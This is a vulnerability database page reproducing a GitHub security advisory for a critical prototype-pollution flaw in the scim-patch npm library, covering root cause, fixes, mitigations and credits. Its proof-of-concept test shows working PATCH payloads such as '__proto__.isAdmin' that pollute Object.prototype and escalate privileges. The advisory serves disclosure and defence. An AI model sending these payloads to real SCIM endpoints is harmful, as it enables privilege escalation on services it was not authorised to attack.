Vulnerability-Lookup

CVE-2026-48170 (GCVE-0-2026-48170)

Vulnerability from cvelistv5 – Published: 2026-08-07 21:26 – Updated: 2026-08-10 14:06

Title

scimPatch vulnerable to prototype pollution via unfiltered keys in patch

Summary

`scim-patch`, a library to perform SCIM patch, prior to version 0.9.1 performs prototype pollution when applying a SCIM PATCH operation whose `value` object contains a key like `"__proto__.someProp"`. After one such patch, `Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process. Any service that calls `scimPatch()` on attacker-controlled JSON (i.e. any SCIM endpoint accepting `PATCH` from an external IdP) is exploitable on a stock Node runtime. Version 0.9.1 contains a patch. A workaround is available. Calling `Object.freeze(Object.prototype)` (and the same on `Array.prototype`, `Function.prototype`) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a `TypeError` in strict mode. Node's `--frozen-intrinsics` flag does this for built-ins automatically.

Severity

9.1 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator (v2.0.3)

CWE

CWE-1321 - Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Assigner

GitHub_M

References

2 references

URL	Tags
https://github.com/thomaspoignant/scim-patch/secu…	x_refsource_CONFIRM
https://github.com/thomaspoignant/scim-patch/comm…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
thomaspoignant	scim-patch	Affected: < 0.9.1

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GHSA-9M6G-WC8R-Q59C

Vulnerability from github – Published: 2026-06-22 22:57 – Updated: 2026-06-22 22:57

Summary

scimPatch vulnerable to prototype pollution via unfiltered keys in patch

Details

Summary

scim-patch performs prototype pollution when applying a SCIM PATCH operation whose value object contains a key like "__proto__.someProp". After one such patch, Object.prototype.someProp is set process-wide, affecting every plain object in the Node process.

Any service that calls scimPatch() on attacker-controlled JSON (i.e. any SCIM endpoint accepting PATCH from an external IdP) is exploitable on a stock Node runtime.

Impact

Class: Prototype pollution (CWE-1321)
Affected versions: <= 0.9.0 (current HEAD 871b1e2)
Attack vector: Network — sent as part of a normal SCIM PATCH /Users/:id request body.
Privileges required: Whatever the SCIM endpoint requires. For most integrations that's a provisioned IdP, which is "low" in CVSS terms (any authenticated provisioning client).
Scope: Changed — the bug is in a SCIM library but the side effect (Object.prototype mutation) leaks into the entire Node process.

Downstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs: - Privilege escalation if any auth/middleware code checks actor.isAdmin / req.user.admin / similar boolean flags against a plain object that expects the key to be absent. - Logic bypass / DoS if any code branches on obj.name, obj.type, obj.id etc. against plain objects (e.g. pg's prepared-statement naming check — a real incident at one consumer). - Persistence: lasts until the Node process restarts, so the blast radius is every request that container handles after the pollution.

Root cause

In src/scimPatch.ts:415-427, addOrReplaceObjectAttribute iterates the user-supplied patch.value with Object.entries and feeds each key to resolvePaths, which splits on .:

function addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {
    if (typeof patch.value !== 'object') { ... }

    // src/scimPatch.ts:423-427
    for (const [key, value] of Object.entries(patch.value)) {
        assign(property, resolvePaths(key), value, patch.op);
    }
    return property;
}

assign then walks the resulting key path with no filtering on dangerous keys (src/scimPatch.ts:437-445):

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    const lastKeyIndex = keyPath.length - 1;
    for (let i = 0; i < lastKeyIndex; ++i) {
        const key = keyPath[i];
        if (!(key in obj)) {
            obj[key] = {};
        }
        obj = obj[key];   // ← obj["__proto__"] === Object.prototype
    }
    // ... assigns into Object.prototype
}

For keyPath = ["__proto__", "polluted"]: - "__proto__" in obj is always true, so the fresh-object branch is skipped. - obj = obj["__proto__"] now points to Object.prototype. - The final write lands on Object.prototype.polluted.

The same shape works for constructor.prototype keys.

Proof of concept

Drop this in test/prototypePollution.test.ts and run npm run build && npx mocha lib/test/prototypePollution.test.js. Both tests pass against HEAD 871b1e2:

import { scimPatch } from '../src/scimPatch';
import { ScimUser } from './types/types.test';
import { expect } from 'chai';

describe('Prototype pollution via scim-patch', () => {
    let scimUser: ScimUser;

    beforeEach(() => {
        scimUser = JSON.parse(`{
          "schemas": ["urn:ietf:params:scim:schemas:core:2.0:User"],
          "id": "tea_4",
          "userName": "spiderman",
          "name": { "familyName": "Parker", "givenName": "Peter" },
          "active": true,
          "emails": [{ "value": "spiderman@superheroes.com", "primary": true }],
          "roles": [],
          "meta": { "resourceType": "User", "created": "x", "lastModified": "x", "location": "x" }
        }`);
    });

    afterEach(() => {
        delete (Object.prototype as any).polluted;
        delete (Object.prototype as any).isAdmin;
    });

    it('pollutes Object.prototype via a value-key containing __proto__', () => {
        expect(({} as any).polluted).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.polluted': 'yes' }
        }]);

        expect((Object.prototype as any).polluted).to.equal('yes');
        expect(({} as any).polluted).to.equal('yes');
    });

    it('elevates Object.prototype.isAdmin — the admin-escalation shape', () => {
        expect(({} as any).isAdmin).to.equal(undefined);

        scimPatch(scimUser, [{
            op: 'add',
            path: 'name',
            value: { '__proto__.isAdmin': true }
        }]);

        expect((Object.prototype as any).isAdmin).to.equal(true);
        expect(({} as any).isAdmin).to.equal(true);
    });
});

Suggested fix

Reject the three dangerous keys in assign() before the walk. Minimal patch:

const DANGEROUS_KEYS = new Set(['__proto__', 'constructor', 'prototype']);

function assign(obj: any, keyPath: Array<string>, value: any, op: string) {
    for (const key of keyPath) {
        if (DANGEROUS_KEYS.has(key)) {
            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);
        }
    }
    // ... existing logic
}

Alternative, slightly safer: switch the walk target to Object.create(null) nodes when creating intermediate objects, and use Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true }) instead of obj[key] = value for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.

Either approach is a non-breaking change — legitimate SCIM clients never send these keys.

Mitigation for consumers who can't upgrade immediately

Calling Object.freeze(Object.prototype) (and the same on Array.prototype, Function.prototype) at process startup neutralizes this class of bug — assignment to a frozen prototype becomes a silent no-op in sloppy mode or a TypeError in strict mode. Node's --frozen-intrinsics flag does this for built-ins automatically.

Credit

Discovered by Lee Wang (Notion). Reported by David Wu (Notion).

Report authored by Claude. Reviewed by David Wu.

Severity

9.1 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L

Show details on source website

JSON

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      },
      "package": {
        "ecosystem": "npm",
        "name": "scim-patch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48170"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-22T22:57:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`scim-patch` performs prototype pollution when applying a SCIM PATCH operation whose `value` object contains a key like `\"__proto__.someProp\"`. After one such patch,\n`Object.prototype.someProp` is set process-wide, affecting every plain object in the Node process.\n\nAny service that calls `scimPatch()` on attacker-controlled JSON (i.e. any SCIM endpoint accepting `PATCH` from an external IdP) is exploitable on a stock Node runtime.\n\n## Impact\n\n- **Class:** Prototype pollution ([CWE-1321](https://cwe.mitre.org/data/definitions/1321.html))\n- **Affected versions:** `\u003c= 0.9.0` (current HEAD `871b1e2`)\n- **Attack vector:** Network \u2014 sent as part of a normal SCIM `PATCH /Users/:id` request body.\n- **Privileges required:** Whatever the SCIM endpoint requires. For most integrations that\u0027s a provisioned IdP, which is \"low\" in CVSS terms (any authenticated provisioning client).\n- **Scope:** Changed \u2014 the bug is in a SCIM library but the side effect (`Object.prototype` mutation) leaks into the entire Node process.\n\nDownstream consequences depend on what other code reads from plain objects. Realistic outcomes observed in similar bugs:\n- **Privilege escalation** if any auth/middleware code checks `actor.isAdmin` / `req.user.admin` / similar boolean flags against a plain object that *expects* the key to be absent.\n- **Logic bypass / DoS** if any code branches on `obj.name`, `obj.type`, `obj.id` etc. against plain objects (e.g. `pg`\u0027s prepared-statement naming check \u2014 a real incident at one consumer).\n- **Persistence:** lasts until the Node process restarts, so the blast radius is *every* request that container handles after the pollution.\n\n## Root cause\n\nIn `src/scimPatch.ts:415-427`, `addOrReplaceObjectAttribute` iterates the user-supplied `patch.value` with `Object.entries` and feeds each key to `resolvePaths`, which splits on `.`:\n\n```ts\nfunction addOrReplaceObjectAttribute(property: any, patch: ScimPatchAddReplaceOperation, multiValuedPathFilter?: boolean): any {\n    if (typeof patch.value !== \u0027object\u0027) { ... }\n\n    // src/scimPatch.ts:423-427\n    for (const [key, value] of Object.entries(patch.value)) {\n        assign(property, resolvePaths(key), value, patch.op);\n    }\n    return property;\n}\n```\n\n`assign` then walks the resulting key path with no filtering on dangerous keys (`src/scimPatch.ts:437-445`):\n\n```ts\nfunction assign(obj: any, keyPath: Array\u003cstring\u003e, value: any, op: string) {\n    const lastKeyIndex = keyPath.length - 1;\n    for (let i = 0; i \u003c lastKeyIndex; ++i) {\n        const key = keyPath[i];\n        if (!(key in obj)) {\n            obj[key] = {};\n        }\n        obj = obj[key];   // \u2190 obj[\"__proto__\"] === Object.prototype\n    }\n    // ... assigns into Object.prototype\n}\n```\n\nFor `keyPath = [\"__proto__\", \"polluted\"]`:\n- `\"__proto__\" in obj` is always true, so the fresh-object branch is skipped.\n- `obj = obj[\"__proto__\"]` now points to `Object.prototype`.\n- The final write lands on `Object.prototype.polluted`.\n\nThe same shape works for `constructor.prototype` keys.\n\n## Proof of concept\n\nDrop this in `test/prototypePollution.test.ts` and run `npm run build \u0026\u0026 npx mocha lib/test/prototypePollution.test.js`. Both tests pass against HEAD `871b1e2`:\n\n```ts\nimport { scimPatch } from \u0027../src/scimPatch\u0027;\nimport { ScimUser } from \u0027./types/types.test\u0027;\nimport { expect } from \u0027chai\u0027;\n\ndescribe(\u0027Prototype pollution via scim-patch\u0027, () =\u003e {\n    let scimUser: ScimUser;\n\n    beforeEach(() =\u003e {\n        scimUser = JSON.parse(`{\n          \"schemas\": [\"urn:ietf:params:scim:schemas:core:2.0:User\"],\n          \"id\": \"tea_4\",\n          \"userName\": \"spiderman\",\n          \"name\": { \"familyName\": \"Parker\", \"givenName\": \"Peter\" },\n          \"active\": true,\n          \"emails\": [{ \"value\": \"spiderman@superheroes.com\", \"primary\": true }],\n          \"roles\": [],\n          \"meta\": { \"resourceType\": \"User\", \"created\": \"x\", \"lastModified\": \"x\", \"location\": \"x\" }\n        }`);\n    });\n\n    afterEach(() =\u003e {\n        delete (Object.prototype as any).polluted;\n        delete (Object.prototype as any).isAdmin;\n    });\n\n    it(\u0027pollutes Object.prototype via a value-key containing __proto__\u0027, () =\u003e {\n        expect(({} as any).polluted).to.equal(undefined);\n\n        scimPatch(scimUser, [{\n            op: \u0027add\u0027,\n            path: \u0027name\u0027,\n            value: { \u0027__proto__.polluted\u0027: \u0027yes\u0027 }\n        }]);\n\n        expect((Object.prototype as any).polluted).to.equal(\u0027yes\u0027);\n        expect(({} as any).polluted).to.equal(\u0027yes\u0027);\n    });\n\n    it(\u0027elevates Object.prototype.isAdmin \u2014 the admin-escalation shape\u0027, () =\u003e {\n        expect(({} as any).isAdmin).to.equal(undefined);\n\n        scimPatch(scimUser, [{\n            op: \u0027add\u0027,\n            path: \u0027name\u0027,\n            value: { \u0027__proto__.isAdmin\u0027: true }\n        }]);\n\n        expect((Object.prototype as any).isAdmin).to.equal(true);\n        expect(({} as any).isAdmin).to.equal(true);\n    });\n});\n```\n\n## Suggested fix\n\nReject the three dangerous keys in `assign()` before the walk. Minimal patch:\n\n```ts\nconst DANGEROUS_KEYS = new Set([\u0027__proto__\u0027, \u0027constructor\u0027, \u0027prototype\u0027]);\n\nfunction assign(obj: any, keyPath: Array\u003cstring\u003e, value: any, op: string) {\n    for (const key of keyPath) {\n        if (DANGEROUS_KEYS.has(key)) {\n            throw new InvalidScimPatchOp(`Forbidden key in patch path: ${key}`);\n        }\n    }\n    // ... existing logic\n}\n```\n\nAlternative, slightly safer: switch the walk target to `Object.create(null)` nodes when creating intermediate objects, and use `Object.defineProperty(obj, key, { value, enumerable: true, configurable: true, writable: true })` instead of `obj[key] = value` for the final write. That defends against future prototype-walking sinks even if a key sneaks past the denylist.\n\nEither approach is a non-breaking change \u2014 legitimate SCIM clients never send these keys.\n\n## Mitigation for consumers who can\u0027t upgrade immediately\n\nCalling `Object.freeze(Object.prototype)` (and the same on `Array.prototype`, `Function.prototype`) at process startup neutralizes this class of bug \u2014 assignment to a frozen prototype becomes a silent no-op in sloppy mode or a `TypeError` in strict mode. Node\u0027s `--frozen-intrinsics` flag does this for built-ins automatically.\n\n## Credit\n\nDiscovered by **Lee Wang (Notion)**. Reported by **David Wu (Notion)**.\n\nReport authored by **Claude**. Reviewed by **David Wu**.",
  "id": "GHSA-9m6g-wc8r-q59c",
  "modified": "2026-06-22T22:57:48Z",
  "published": "2026-06-22T22:57:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thomaspoignant/scim-patch/commit/260f9cd2ac5ceac3976978850bb47dcb391720f6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thomaspoignant/scim-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "scimPatch vulnerable to prototype pollution via unfiltered keys in patch"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.

Action not permitted

CVE-2026-48170 (GCVE-0-2026-48170)

GHSA-9M6G-WC8R-Q59C

Summary

Impact

Root cause

Proof of concept

Suggested fix

Mitigation for consumers who can't upgrade immediately

Credit

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Nomenclature